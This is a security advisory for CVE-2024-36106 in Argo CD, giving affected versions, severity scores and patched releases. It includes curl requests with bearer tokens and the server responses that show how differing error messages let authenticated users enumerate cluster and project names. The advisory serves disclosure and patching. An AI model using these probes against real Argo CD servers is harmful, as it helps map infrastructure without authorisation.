CVE-2024-36106 – github.com/argoproj/argo-cd

Package

Manager: go
Name: github.com/argoproj/argo-cd
Vulnerable Version: >=0.11.0 <2.9.17 || >=2.10.0 <2.10.12 || >=2.11.0 <2.11.3

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00472 pctl0.63662

Details

Argo-cd authenticated users can enumerate clusters by name ### Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages: ``` $ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎ $ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"} ``` It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. ``` curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"} curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"} ``` ### Patches A patch for this vulnerability has been released in the following Argo CD versions: v2.11.3 v2.10.12 v2.9.17 ### For more information If you have any questions or comments about this advisory: Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw) The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Metadata

Created: 2024-06-06T19:04:54Z
Modified: 2024-06-06T19:04:54Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json
CWE IDs: ["CWE-209"]
Alternative ID: GHSA-3cqf-953p-h5cp
Finding: F037
Auto approve: 1